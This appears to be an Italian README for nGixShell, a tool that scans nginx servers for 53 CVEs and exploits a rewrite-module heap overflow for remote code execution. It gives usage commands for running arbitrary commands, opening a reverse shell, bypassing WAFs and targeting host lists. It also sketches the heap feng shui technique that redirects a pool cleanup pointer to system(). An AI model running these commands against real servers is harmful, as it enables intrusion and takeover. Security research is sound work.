nGixShell è uno scanner per CVE di nginx e un framework di exploit RCE. Include una proof-of-concept funzionante per CVE-2026-42945 — un heap buffer overflow critico in ngx_http_rewrite_module — e uno scanner che copre 53 CVE di nginx con probe HTTP automatizzati, fingerprinting, rilevamento/bypass WAF, audit di sicurezza web e generazione di report.
Zero dipendenze esterne. Solo libreria standard Python 3.
Avvio rapido
root@kitploit:~
# Avvia il laboratorio vulnerabile
docker compose -f env/docker-compose.yml up -d
# Modalità automatica — fingerprint + scansione CVE + audit web
python3 ngixshell.py 127.0.0.1:19321
# Esegui un comando via RCE (CVE-2026-42945)
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id'
# Avvia una reverse shell (IP rilevato automaticamente)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell
# Rileva e bypassa il WAF, poi scansiona
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass
# Scansione sottodomini
python3 ngixshell.py --subdomain-scan example.com --scan-port 443
# Più target da un file
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
Nessun flag richiesto — puntare lo strumento a un target esegue automaticamente tutto.
TLS è rilevato automaticamente. nginx viene fingerprintizzato anche con server_tokens off.
Viene eseguito automaticamente in modalità scansione. Tutti i moduli possono essere saltati singolarmente.
Flag
Descrizione
--skip-headers
Salta l'audit degli header di sicurezza HTTP
--skip-paths
Salta la scoperta di path/file
--skip-vhosts
Salta l'enumerazione degli host virtuali
--skip-tls
Salta l'audit del protocollo TLS
--path-wordlist FILE
Path aggiuntivi da sondare (uno per riga)
Audit header — HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy, header che rivelano la versione
Scoperta path — 50+ path; probe sentinella elimina i falsi positivi da regole catch-all 403/301
Enumerazione host virtuali — richiede la differenza sia di status che di body per evitare falsi positivi dal blocco predefinito
Audit TLS — testa il supporto TLS 1.0–1.3, la scadenza dei certificati e il rilevamento dei certificati self-signed
stub_status — analizza le metriche delle connessioni attive da /nginx_status se esposto
Connessione
Flag
Descrizione
--port PORT
Sovrascrive la porta
--tls
Forza TLS (rilevato automaticamente di default)
--proxy URL
Proxy: http://, https://, socks5://
HTTP
Flag
Descrizione
--user-agent UA
User-Agent personalizzato
--auth USER:PASS
Autenticazione HTTP Basic
--cookie VALUE
Header Cookie
--header NAME:VALUE
Header aggiuntivo (ripetibile)
Rate / Timing
Flag
Descrizione
--rate-limit RPS
Massimo numero di richieste al secondo
--jitter MS
Ritardo casuale 0–MS ms tra le richieste
--retry N
Riprova i probe inconcludenti (default: 1)
--timeout-multiplier X
Scala tutti i timeout (default: 1.0)
Output
Flag
Descrizione
--output FILE
Scrive il log su FILE
--json
Stampa un riepilogo JSON alla fine
--html-report [FILE]
Genera un report HTML (default: ngixshell_<host>_<ts>.html)
--verbose
Output di debug
Copertura CVE
53 voci dal 2009 al 2026. Ordinate per CVSS.
CVE
CVSS
Componente
Descrizione
CVE-2026-42945
9.8 CRITICAL
rewrite
Heap overflow → RCE (exploitato)
CVE-2026-42946
8.1 HIGH
rewrite
Corruzione della memoria (stesso advisory)
CVE-2022-41741
7.8 HIGH
mp4
Corruzione della memoria tramite mp4 malizioso
CVE-2016-1247
7.8 HIGH
packaging
Escalation di privilegi tramite symlink nei file di log
CVE-2021-23017
7.7 HIGH
resolver
Off-by-one heap overwrite
CVE-2026-40701
7.5 HIGH
request
Corruzione della memoria nell'elaborazione delle richieste
CVE-2026-42934
7.5 HIGH
request
Corruzione della memoria (stesso advisory)
CVE-2026-27784
7.5 HIGH
mp4
Buffer overflow tramite mp4 modificato
CVE-2026-32647
7.5 HIGH
mp4
Buffer overflow (gemello del precedente)
CVE-2024-24990
7.5 HIGH
HTTP/3
Use-after-free nel modulo QUIC
CVE-2024-24989
7.5 HIGH
HTTP/3
Null pointer dereference in QUIC
CVE-2024-31079
7.5 HIGH
HTTP/3
Stack overflow nell'encoder QUIC
CVE-2024-32760
7.5 HIGH
HTTP/3
Buffer overwrite tramite frame HEADERS
CVE-2022-41742
7.5 HIGH
mp4
Divulgazione di memoria heap
CVE-2017-7529
7.5 HIGH
range filter
Integer overflow → lettura fuori dai limiti
CVE-2016-0746
7.5 HIGH
resolver
Use-after-free tramite risposta DNS modificata
CVE-2014-0133
7.5 HIGH
SPDY
Heap overflow nell'implementazione SPDY
CVE-2014-0088
7.5 HIGH
SPDY
Corruzione della memoria in SPDY
CVE-2013-4547
7.5 HIGH
core
Bypass URI con Spazio+NUL
CVE-2013-2028
7.5 HIGH
Il Bug (CVE-2026-42945)
Il motore degli script di rewrite di nginx usa un modello a due passate: calcola la dimensione del buffer, poi copia. Il flag is_args viene impostato sul motore principale quando una sostituzione rewrite contiene ?, ma la passata di calcolo della lunghezza viene eseguita su un sub-engine appena azzerato:
Passata di lunghezza — vede is_args = 0 → restituisce la lunghezza grezza della cattura
Passata di copia — vede is_args = 1 → chiama ngx_escape_uri(NGX_ESCAPE_ARGS), espandendo ogni byte non sicuro a 3 byte
La copia fa overflow del buffer heap sottodimensionato con dati URI controllati dall'attaccante. L'exploitation corrompe un puntatore di cleanup adiacente di ngx_pool_t tramite heap feng shui tra richieste, reindirizzandolo a un falso ngx_pool_cleanup_s che chiama system() alla distruzione del pool.